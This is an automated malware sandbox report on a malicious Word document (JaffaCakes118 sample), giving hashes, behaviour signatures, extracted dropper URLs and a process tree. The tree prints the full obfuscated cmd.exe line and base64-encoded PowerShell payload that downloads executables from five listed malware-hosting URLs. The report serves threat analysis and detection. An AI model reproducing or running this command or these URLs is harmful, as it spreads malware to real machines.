Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 05:27

General

  • Target

    8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc

  • Size

    109KB

  • MD5

    8617a84a18d514171100484b5fd82daa

  • SHA1

    050793d3dcef4f773a26d382e48240391280564f

  • SHA256

    d28e788eab1e2747d44c9d590fb591894baa3406fb0decb02913923b60a8169a

  • SHA512

    051a68e6a9ee1f5c83c0e8c550c05e0ca575ec885476dd50bbc4faee9db2c409d1173a0ed98d254e1b112f3742455c5eed7f82ae1046c0bf929e3dd0eb1d1db6

  • SSDEEP

    768:rfqW2eQ2GBbBi0aWk+1ogDaj9nZUMwIwq4GxaFYtEpg4aAQzTsZreSB1t9ykLYUE:rn2eQ2mBXaWk+agO9CJmcFTpTgwzB4V

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://spskamin.ru/Aq2HM/

exe.dropper

http://djivi.nl/p8mjDNV/

exe.dropper

http://www.jargonmedya.com/eT3KGw/

exe.dropper

http://edeal.com.my/KsEg0iF/

exe.dropper

http://mickdoyle.com/l4p6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Windows\SYSTEM32\Cmd.exe
      Cmd jZMqvUMV OpuUvzPmDWojPmrjJTf wSVBnPCz & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %jZkwEYREQzUiHYj%=XCJZzLKtpOQW&&set %ZVJAjuUzHbGao%=p&&set %zKkYuziS%=o^w&&set %YSIhMnTzfrbrUmS%=zzzaijik&&set %SUXuSvSz%=!%ZVJAjuUzHbGao%!&&set %GdzXPrHqHvjwrmV%=EmGfaSENtA&&set %rKaWlEWtuIUo%=e^r&&set %VQSNEcWJWNT%=!%zKkYuziS%!&&set %roGwXJC%=s&&set %tsOqnpoXbjnwink%=jZGUSNbfWwcz&&set %iFwzciIaE%=he&&set %OHnSqGYjvkh%=ll&&!%SUXuSvSz%!!%VQSNEcWJWNT%!!%rKaWlEWtuIUo%!!%roGwXJC%!!%iFwzciIaE%!!%OHnSqGYjvkh%! -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3704

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\590039.exe

    Filesize

    31KB

    MD5

    b6c23bad1c8950409a8475cb788ef845

    SHA1

    844da1b22548a56c940611467cb1fd7d89df18b0

    SHA256

    f323e5297fd0467bdb641b0847b218ee73aa2c73a6af213b5acd6213bb69f8b9

    SHA512

    3a0a21c792bb6f815eb9aa6f23626e7841451f22e30ebe785864d570b26e4f1e042f1fb04e487e982608134223ca149bdb29b46b7763f1737f104aec77325c0c

  • C:\Users\Admin\AppData\Local\Temp\TCDCCB0.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_basmjx4x.wj5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1116-44-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-579-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-1-0x00007FFF1938D000-0x00007FFF1938E000-memory.dmp

    Filesize

    4KB

  • memory/1116-46-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-3-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-2-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-9-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-10-0x00007FFED70B0000-0x00007FFED70C0000-memory.dmp

    Filesize

    64KB

  • memory/1116-11-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-14-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-13-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-17-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-18-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-19-0x00007FFED70B0000-0x00007FFED70C0000-memory.dmp

    Filesize

    64KB

  • memory/1116-16-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-15-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-12-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-0-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-4-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-5-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-582-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-43-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-8-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-7-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-75-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-76-0x00007FFF1938D000-0x00007FFF1938E000-memory.dmp

    Filesize

    4KB

  • memory/1116-77-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-78-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-79-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-80-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-81-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1116-6-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-578-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-581-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-580-0x00007FFED9370000-0x00007FFED9380000-memory.dmp

    Filesize

    64KB

  • memory/1116-45-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3704-47-0x0000015FE0680000-0x0000015FE06A2000-memory.dmp

    Filesize

    136KB